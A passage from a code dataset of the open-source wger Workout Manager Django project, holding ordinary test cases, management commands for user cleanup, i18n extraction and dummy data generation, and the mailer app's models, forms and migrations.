# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with Workout Manager. If not, see <http://www.gnu.org/licenses/>.
# wger
from wger.core.models import RepetitionUnit
from wger.core.tests import api_base_test
from wger.core.tests.base_testcase import (
WgerAccessTestCase,
WgerAddTestCase,
WgerDeleteTestCase,
WgerEditTestCase,
WgerTestCase,
)
class RepresentationTestCase(WgerTestCase):
"""
Test the representation of a model
"""
def test_representation(self):
"""
Test that the representation of an object is correct
"""
self.assertEqual(f'{RepetitionUnit.objects.get(pk=1)}', 'Repetitions')
class OverviewTest(WgerAccessTestCase):
"""
Tests the settings unit overview page
"""
url = 'core:repetition-unit:list'
anonymous_fail = True
class AddTestCase(WgerAddTestCase):
"""
Tests adding a new unit
"""
object_class = RepetitionUnit
url = 'core:repetition-unit:add'
data = {'name': 'Furlongs'}
user_success = ('admin',)
user_fail = (
'general_manager1',
'general_manager2',
'member1',
'member2',
'trainer2',
'trainer3',
'trainer4',
'manager3',
)
class DeleteTestCase(WgerDeleteTestCase):
"""
Tests deleting a unit
"""
pk = 1
object_class = RepetitionUnit
url = 'core:repetition-unit:delete'
user_success = ('admin',)
user_fail = (
'general_manager1',
'general_manager2',
'member1',
'member2',
'trainer2',
'trainer3',
'trainer4',
'manager3',
)
class EditTestCase(WgerEditTestCase):
"""
Tests editing a unit
"""
pk = 1
object_class = RepetitionUnit
url = 'core:repetition-unit:edit'
data = {'name': 'Furlongs'}
user_success = ('admin',)
user_fail = (
'general_manager1',
'general_manager2',
'member1',
'member2',
'trainer2',
'trainer3',
'trainer4',
'manager3',
)
class ApiTestCase(api_base_test.ApiBaseResourceTestCase):
"""
Tests the unit resource
"""
pk = 1
resource = RepetitionUnit
private_resource = False
def get_resource_name(self):
return 'setting-repetitionunit'
| 2,917 | Python | .py | 103 | 22.970874 | 78 | 0.661059 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,815 | delete-temp-users.py | wger-project_wger/wger/core/management/commands/delete-temp-users.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# Standard Library
import datetime
# Django
from django.core.management.base import BaseCommand
from django.utils.timezone import now
# wger
from wger.core.models import UserProfile
class Command(BaseCommand):
"""
Helper admin command to clean up demo users, to be called e.g. by cron
"""
help = 'Deletes all temporary users older than 1 week'
def handle(self, **options):
profile_list = UserProfile.objects.filter(is_temporary=True)
counter = 0
for profile in profile_list:
delta = now() - profile.user.date_joined
if delta >= datetime.timedelta(7):
counter += 1
profile.user.delete()
self.stdout.write(f'Deleted {counter} temporary users')
| 1,398 | Python | .py | 34 | 36.676471 | 78 | 0.731365 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,816 | set-site-url.py | wger-project_wger/wger/core/management/commands/set-site-url.py | # Standard Library
from urllib.parse import urlparse
# Django
from django.conf import settings
from django.contrib.sites.models import Site
from django.core.exceptions import ValidationError
from django.core.management.base import (
BaseCommand,
CommandError,
)
from django.core.validators import URLValidator
"""
Sets the site URL
"""
class Command(BaseCommand):
help = 'Sets the site URL from settings.SITE_URL, this is used e.g. for password reset emails'
def handle(self, *args, **options):
if not settings.SITE_URL:
return
try:
val = URLValidator()
val(settings.SITE_URL)
except ValidationError:
raise CommandError('Please set a valid URL for SITE_URL')
domain = urlparse(settings.SITE_URL).netloc
site = Site.objects.get_current()
site.domain = domain
site.name = settings.SITE_URL
site.save()
self.stdout.write(self.style.SUCCESS(f'Set site URL to {domain}'))
| 1,011 | Python | .py | 30 | 27.9 | 98 | 0.695786 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,817 | extract-i18n-flutter-exercises.py | wger-project_wger/wger/core/management/commands/extract-i18n-flutter-exercises.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# Django
from django.core.management.base import BaseCommand
# wger
from wger.exercises.models import Exercise
class Command(BaseCommand):
help = (
'Helper command to extract translations for the exercises used in the flutter repo for '
'the screenshots for the play store'
)
uuids = {
'squats': '30ac081b-fb79-4253-9457-8efc07568790',
'benchPress': '3717d144-7815-4a97-9a56-956fb889c996',
'deadLift': 'ee8e8db4-2d82-49e1-ab7f-891e9a354934',
'crunches': 'b186f1f8-4957-44dc-bf30-d0b00064ce6f',
'curls': '1ae6a28d-10e7-4ecf-af4f-905f8193e2c6',
'raises': '63375f5b-2d81-471c-bea4-fc3d207e96cb',
}
def handle(self, **options):
out = []
languages = []
for exercise_key in self.uuids.keys():
self.stdout.write(f'Extracting translations for {exercise_key}')
uuid = self.uuids[exercise_key]
translations = Exercise.objects.filter(exercise_base__uuid=uuid)
variables = []
for translation in translations:
variable_name = f'{exercise_key}{translation.language.short_name.upper()}'
variables.append(variable_name)
if translation.language not in languages:
languages.append(translation.language)
self.stdout.write(
f'- translation {translation.language.short_name}: {translation.name}'
)
out.append(
f"""
final {variable_name} = Translation(
id: {translation.id},
uuid: '{translation.uuid}',
created: DateTime(2021, 1, 15),
name: '{translation.name}',
description: '''{translation.description}''',
baseId: {translation.exercise_base_id},
language: tLanguage{translation.language.id},
);
"""
)
self.stdout.write('')
out.append(f'final {exercise_key}Translations = [{",".join(variables)}];')
for language in languages:
out.insert(
0,
f"""const tLanguage{language.id} = Language(
id: {language.id},
shortName: '{language.short_name}',
fullName: '{language.full_name}',
);""",
)
out.insert(0, "import 'package:wger/models/exercises/language.dart';")
out.insert(0, "import 'package:wger/models/exercises/translation.dart';")
out.insert(0, '// Autogenerated by extract-i18n-flutter-exercises.py do not edit!')
#
# Write to output
with open('screenshots_exercises.dart', 'w') as f:
f.write('\n'.join(out))
self.stdout.write(self.style.SUCCESS(f'Wrote content to screenshots_exercises.dart'))
| 3,653 | Python | .py | 78 | 35.076923 | 97 | 0.596402 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,818 | list-users-api.py | wger-project_wger/wger/core/management/commands/list-users-api.py | # Django
from django.core.management.base import BaseCommand
# wger
from wger.core.models import UserProfile
"""
List users registered via the API
"""
class Command(BaseCommand):
help = 'List all users registered via REST, grouped by app-user'
def handle(self, *args, **options):
for app_profile in UserProfile.objects.filter(can_add_user=True):
self.stdout.write(self.style.SUCCESS(f'Users created by {app_profile.user.username}:'))
for user_profile in UserProfile.objects.filter(added_by=app_profile.user):
self.stdout.write(f'- {user_profile.user.username}')
| 625 | Python | .py | 14 | 39.142857 | 99 | 0.720199 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,819 | dummy-generator-users.py | wger-project_wger/wger/core/management/commands/dummy-generator-users.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# Standard Library
import logging
import random
import uuid
# Django
from django.contrib.auth.models import User
from django.core.management.base import BaseCommand
from django.db import IntegrityError
from django.utils.text import slugify
# Third Party
from faker import Faker
# wger
from wger.gym.models import (
Gym,
GymUserConfig,
)
logger = logging.getLogger(__name__)
class Command(BaseCommand):
"""
Dummy generator for users
"""
help = 'Dummy generator for users'
def add_arguments(self, parser):
parser.add_argument(
'--nr-entries',
action='store',
default=20,
dest='number_users',
type=int,
help='The number of users to generate (default: 20)',
)
parser.add_argument(
'--add-to-gym',
action='store',
default='auto',
dest='add_to_gym',
type=str,
help='Gym to assign the users to. Allowed values: auto, none, <gym_id>. Default: auto',
)
def handle(self, **options):
faker = Faker()
self.stdout.write(f"** Generating {options['number_users']} users")
match options['add_to_gym']:
case 'auto':
gym_list = [gym.pk for gym in Gym.objects.all()]
case 'none':
gym_list = []
case _:
gym_list = [options['add_to_gym']]
for i in range(options['number_users']):
uid = uuid.uuid4()
first_name = faker.first_name()
last_name = faker.last_name()
username = slugify(f"{first_name}, {last_name} - {str(uid).split('-')[1]}")
email = f'{username}@example.com'
password = username
try:
user = User.objects.create_user(username, email, password)
user.first_name = first_name
user.last_name = last_name
user.save()
# Even with the uuid part, usernames are not guaranteed to be unique,
# in this case, just ignore and continue
except IntegrityError as e:
continue
if gym_list:
gym_id = random.choice(gym_list)
user.userprofile.gym_id = gym_id
user.userprofile.gender = random.choice(['1', '2'])
user.userprofile.age = random.randint(18, 45)
user.userprofile.save()
config = GymUserConfig()
config.gym_id = gym_id
config.user = user
config.save()
print(f' - {first_name}, {last_name}')
| 3,325 | Python | .py | 89 | 28.348315 | 99 | 0.598445 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,820 | extract-i18n.py | wger-project_wger/wger/core/management/commands/extract-i18n.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# Django
from django.core.management.base import BaseCommand
# wger
from wger.core.models import (
RepetitionUnit,
WeightUnit,
)
from wger.exercises.models import (
Equipment,
ExerciseCategory,
Muscle,
)
class Command(BaseCommand):
"""
Helper command to extract translatable content from the database such as
categories, muscles or equipment names and write it to files, so they can
be extracted and translated on weblate. This is a bit hacky and ugly, but
these strings *very* rarely change.
"""
help = 'Write the translatable strings from the database to a file'
def handle(self, **options):
# Replace whitespace and other problematic characters with underscores
def cleanup_name(text: str) -> str:
return (
text.lower()
.replace(' ', '_')
.replace('-', '_')
.replace('/', '_')
.replace('(', '_')
.replace(')', '_')
)
# Collect all translatable items
data = (
[i for i in ExerciseCategory.objects.all()]
+ [i for i in Equipment.objects.all()]
+ [i.name_en for i in Muscle.objects.all() if i.name_en]
+ [i for i in RepetitionUnit.objects.all()]
+ [i for i in WeightUnit.objects.all()]
)
# Make entries unique and sort alphabetically
data = sorted(set([i.__str__() for i in data]))
#
# Django - write to .tpl file
with open('wger/i18n.tpl', 'w') as f:
out = '{% load i18n %}\n'
for i in data:
out += f'{{% translate "{i}" %}}\n'
f.write(out)
self.stdout.write(self.style.SUCCESS(f'Wrote content to wger/i18n.tpl'))
#
# React - copy the file to src/i18n.tsx in the React repo
with open('wger/i18n.tsx', 'w') as f:
out = """
// This code is autogenerated in the backend repo in extract-i18n.py do not edit!
// Translate dynamic strings that are returned from the server
// These strings such as categories or equipment are returned by the server
// in English and need to be translated here in the application (there are
// probably better ways to do this, but that's the way it is right now).
import { useTranslation } from "react-i18next";
// eslint-disable-next-line @typescript-eslint/no-unused-vars
const DummyComponent = () => {
const [t] = useTranslation();"""
for i in data:
out += f't("server.{cleanup_name(i.__str__())}");\n'
out += """
return (<p></p>);
};"""
f.write(out)
self.stdout.write(self.style.SUCCESS(f'Wrote content to wger/i18n.tsx'))
#
# Flutter - copy content to the end of lib/l10n/app_en.arb in the flutter repo
with open('wger/app_en.arb', 'w') as f:
out = ''
for i in data:
out += f'"{cleanup_name(i.__str__())}": "{i}",\n'
out += f'"@{cleanup_name(i.__str__())}": {{ \n'
out += f'"description": "Generated entry for translation for server strings"\n'
out += '},\n'
f.write(out)
self.stdout.write(self.style.SUCCESS(f'Wrote content to app_en.arb'))
# Copy to lib/helpers/i18n.dart in the flutter repo
with open('wger/i18n.dart', 'w') as f:
out = """
/// This code is autogenerated in the backend repo in extract-i18n.py do not edit!
/// Translate dynamic strings that are returned from the server
/// These strings such as categories or equipment are returned by the server
/// in English and need to be translated here in the application (there are
/// probably better ways to do this, but that's the way it is right now).
import 'dart:developer';
import 'package:flutter/widgets.dart';
import 'package:flutter_gen/gen_l10n/app_localizations.dart';
import 'package:logging/logging.dart';
String getTranslation(String value, BuildContext context) {
switch (value) {"""
for i in data:
out += f"""
case '{i}':
return AppLocalizations.of(context).{cleanup_name(i.__str__())};
"""
out += """
default:
log('Could not translate the server string $value', level: Level.WARNING.value);
return value;
}
}"""
f.write(out)
self.stdout.write(self.style.SUCCESS('Wrote content to wger/i18n.dart'))
| 5,526 | Python | .py | 120 | 35.25 | 100 | 0.577266 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,821 | clear-cache.py | wger-project_wger/wger/core/management/commands/clear-cache.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# Django
from django.contrib.auth.models import User
from django.core.cache import cache
from django.core.management.base import (
BaseCommand,
CommandError,
)
# wger
from wger.manager.models import (
Workout,
WorkoutLog,
)
from wger.utils.cache import (
reset_workout_canonical_form,
reset_workout_log,
)
class Command(BaseCommand):
"""
Clears caches (HTML, etc.)
"""
help = (
'Clears the application cache. You *must* pass an option selecting '
'what exactly you want to clear. See available options.'
)
def add_arguments(self, parser):
parser.add_argument(
'--clear-template',
action='store_true',
dest='clear_template',
default=False,
help='Clear only template caches',
)
parser.add_argument(
'--clear-workout-cache',
action='store_true',
dest='clear_workout',
default=False,
help='Clear only the workout canonical view',
)
parser.add_argument(
'--clear-all',
action='store_true',
dest='clear_all',
default=False,
help='Clear ALL cached entries',
)
def handle(self, **options):
"""
Process the options
"""
if (
not options['clear_template']
and not options['clear_workout']
and not options['clear_all']
):
raise CommandError('Please select what cache you need to delete, see help')
# Exercises, cached template fragments
if options['clear_template']:
if int(options['verbosity']) >= 2:
self.stdout.write('*** Clearing templates')
for user in User.objects.all():
if int(options['verbosity']) >= 2:
self.stdout.write(f'* Processing user {user.username}')
for entry in WorkoutLog.objects.filter(user=user).dates('date', 'year'):
if int(options['verbosity']) >= 3:
self.stdout.write(f' Year {entry.year}')
for month in WorkoutLog.objects.filter(user=user, date__year=entry.year).dates(
'date', 'month'
):
if int(options['verbosity']) >= 3:
self.stdout.write(f' Month {entry.month}')
reset_workout_log(user.id, entry.year, entry.month)
for day in WorkoutLog.objects.filter(
user=user,
date__year=entry.year,
date__month=month.month,
).dates('date', 'day'):
if int(options['verbosity']) >= 3:
self.stdout.write(f' Day {day.day}')
reset_workout_log(user.id, entry.year, entry.month, day)
# Workout canonical form
if options['clear_workout']:
for w in Workout.objects.all():
reset_workout_canonical_form(w.pk)
# Nuclear option, clear all
if options['clear_all']:
cache.clear()
| 3,904 | Python | .py | 100 | 28.21 | 99 | 0.570071 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,822 | update-user-cache.py | wger-project_wger/wger/core/management/commands/update-user-cache.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# Django
from django.contrib.auth.models import User
from django.core.management.base import BaseCommand
# wger
from wger.gym.helpers import get_user_last_activity
class Command(BaseCommand):
"""
Updates the user cache table
"""
help = (
'Update the user cache-table. This is only needed when the python'
'code used to calculate any of the cached entries is changed and '
'the ones in the database need to be updated to reflect the new logic.'
)
def handle(self, **options):
"""
Process the options
"""
print('** Updating last activity')
for user in User.objects.all():
user.usercache.last_activity = get_user_last_activity(user)
user.usercache.save()
| 1,410 | Python | .py | 35 | 35.885714 | 79 | 0.725146 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,823 | add-user-rest.py | wger-project_wger/wger/core/management/commands/add-user-rest.py | # Django
from django.contrib.auth.models import User
from django.core.management.base import BaseCommand
"""
Custom command permitting users to create user accounts
"""
class Command(BaseCommand):
help = 'Permit user to create user accounts'
# Named (optional arguments)
def add_arguments(self, parser):
parser.add_argument('name', type=str)
parser.add_argument(
'--disable',
action='store_true',
dest='disable',
default=False,
)
def handle(self, *args, **options):
name = options['name']
try:
user = User.objects.get(username=name)
if options['disable']:
user.userprofile.can_add_user = False
self.stdout.write(
self.style.SUCCESS(
f"{options['name']} is now DISABLED from adding users via the API"
)
)
else:
user.userprofile.can_add_user = True
self.stdout.write(
self.style.SUCCESS(f"{options['name']} is now ALLOWED to add users via the API")
)
user.userprofile.save()
except Exception as exc:
self.stdout.write(self.style.WARNING(exc))
| 1,304 | Python | .py | 36 | 25.138889 | 100 | 0.563246 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,824 | dummy-generator.py | wger-project_wger/wger/core/management/commands/dummy-generator.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# Standard Library
import logging
# Django
from django.core.management import call_command
from django.core.management.base import BaseCommand
logger = logging.getLogger(__name__)
class Command(BaseCommand):
"""
Dummy generator
"""
help = (
'Dummy data generator. This script will call all the individual generator scripts with '
'some default values. '
)
def handle(self, **options):
call_command('dummy-generator-users')
call_command('dummy-generator-gyms')
call_command('dummy-generator-body-weight', '--nr-entries', 100)
call_command('dummy-generator-nutrition')
call_command('dummy-generator-measurement-categories')
call_command('dummy-generator-measurements')
call_command('dummy-generator-workout-plans')
call_command('dummy-generator-workout-diary')
| 1,510 | Python | .py | 36 | 37.833333 | 96 | 0.74352 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,825 | urls.py | wger-project_wger/wger/mailer/urls.py | # -*- coding: utf-8 -*-
# This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# Django
from django.conf.urls import include
from django.urls import path
# wger
from wger.mailer.forms import EmailListForm
from wger.mailer.views import gym
# sub patterns for email lists
patterns_email = [
path(
'overview/gym/<int:gym_pk>',
gym.EmailLogListView.as_view(),
name='overview',
),
path(
'add/gym/<int:gym_pk>',
gym.EmailListFormPreview(EmailListForm),
name='add-gym',
),
]
urlpatterns = [
path('', include((patterns_email, 'email'), namespace='email')),
]
| 1,209 | Python | .py | 36 | 30.527778 | 78 | 0.730934 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,826 | apps.py | wger-project_wger/wger/mailer/apps.py | # -*- coding: utf-8 -*-
# This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# Django
from django.apps import AppConfig
class Config(AppConfig):
name = 'wger.mailer'
verbose_name = 'Email'
def ready(self):
pass
| 822 | Python | .py | 21 | 36.952381 | 78 | 0.763819 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,827 | __init__.py | wger-project_wger/wger/mailer/__init__.py | # -*- coding: utf-8 -*-
# This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with Workout Manager. If not, see <http://www.gnu.org/licenses/>.
# wger
from wger import get_version
VERSION = get_version()
default_app_config = 'wger.mailer.apps.Config'
| 848 | Python | .py | 19 | 43.421053 | 78 | 0.775758 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,828 | forms.py | wger-project_wger/wger/mailer/forms.py | # -*- coding: utf-8 -*-
# This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# Django
from django.forms import (
CharField,
Form,
Textarea,
)
from django.utils.translation import pgettext
# Third Party
from crispy_forms.helper import FormHelper
class EmailListForm(Form):
"""
Small form to send emails
"""
subject = CharField(label=pgettext('As in "email subject"', 'Subject'))
body = CharField(widget=Textarea, label=pgettext('As in "content of an email"', 'Content'))
def __init__(self, *args, **kwargs):
super(EmailListForm, self).__init__(*args, **kwargs)
self.helper = FormHelper()
self.helper.form_tag = False
| 1,270 | Python | .py | 33 | 35.424242 | 95 | 0.734744 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,829 | cron.py | wger-project_wger/wger/mailer/models/cron.py | # This file is part of wger Workout Manager <https://github.com/wger-project>.
# Copyright (C) 2013 - 2021 wger Team
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
# Django
from django.db import models
# Local
from .log import Log
class CronEntry(models.Model):
"""
Simple list of emails to be sent by a cron job
"""
log = models.ForeignKey(Log, editable=False, on_delete=models.CASCADE)
"""
Foreign key to email log with subject and body
"""
email = models.EmailField()
"""
The email address
"""
def __unicode__(self):
"""
Return a more human-readable representation
"""
return self.email
| 1,315 | Python | .py | 36 | 33.111111 | 79 | 0.716981 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,830 | __init__.py | wger-project_wger/wger/mailer/models/__init__.py | # This file is part of wger Workout Manager <https://github.com/wger-project>.
# Copyright (C) 2013 - 2021 wger Team
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
# Local
from .cron import CronEntry
from .log import Log
| 860 | Python | .py | 18 | 46.722222 | 79 | 0.769322 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,831 | log.py | wger-project_wger/wger/mailer/models/log.py | # This file is part of wger Workout Manager <https://github.com/wger-project>.
# Copyright (C) 2013 - 2021 wger Team
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
# Django
from django.contrib.auth.models import User
from django.db import models
# wger
from wger.gym.models import Gym
class Log(models.Model):
"""
A log of a sent email
"""
class Meta:
ordering = [
'-date',
]
date = models.DateField(auto_now=True)
"""
Date when the log was created
"""
user = models.ForeignKey(
User,
editable=False,
on_delete=models.CASCADE,
)
"""
The user that created the email
"""
gym = models.ForeignKey(
Gym,
editable=False,
related_name='email_log',
on_delete=models.CASCADE,
)
"""
Gym this log belongs to
"""
subject = models.CharField(max_length=100)
"""
The email subject
"""
body = models.TextField()
"""
The email body
"""
def __unicode__(self):
"""
Return a more human-readable representation
"""
return self.subject
| 1,787 | Python | .py | 62 | 24.032258 | 79 | 0.663361 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,832 | 0002_auto_20190618_1617.py | wger-project_wger/wger/mailer/migrations/0002_auto_20190618_1617.py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.21 on 2019-06-18 16:17
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('mailer', '0001_initial'),
]
operations = [
migrations.AlterModelOptions(
name='log',
options={'ordering': ['-date']},
),
migrations.AlterField(
model_name='log',
name='gym',
field=models.ForeignKey(
editable=False,
on_delete=django.db.models.deletion.CASCADE,
related_name='mailer_log',
to='gym.Gym',
),
),
]
| 711 | Python | .py | 24 | 20.458333 | 60 | 0.543192 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,833 | 0001_initial.py | wger-project_wger/wger/mailer/migrations/0001_initial.py | # -*- coding: utf-8 -*-
from django.db import models, migrations
from django.conf import settings
class Migration(migrations.Migration):
dependencies = [
('gym', '0004_auto_20151003_2357'),
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='CronEntry',
fields=[
(
'id',
models.AutoField(
verbose_name='ID', serialize=False, auto_created=True, primary_key=True
),
),
('email', models.EmailField(max_length=254)),
],
),
migrations.CreateModel(
name='Log',
fields=[
(
'id',
models.AutoField(
verbose_name='ID', serialize=False, auto_created=True, primary_key=True
),
),
('date', models.DateField(auto_now=True)),
('subject', models.CharField(max_length=100)),
('body', models.TextField()),
('gym', models.ForeignKey(editable=False, to='gym.Gym', on_delete=models.CASCADE)),
(
'user',
models.ForeignKey(
editable=False, to=settings.AUTH_USER_MODEL, on_delete=models.CASCADE
),
),
],
),
migrations.AddField(
model_name='cronentry',
name='log',
field=models.ForeignKey(editable=False, to='mailer.Log', on_delete=models.CASCADE),
),
]
| 1,703 | Python | .py | 48 | 21.5625 | 99 | 0.474258 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,834 | 0003_auto_20201201_0653.py | wger-project_wger/wger/mailer/migrations/0003_auto_20201201_0653.py | # Generated by Django 3.1.3 on 2020-12-01 05:53
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
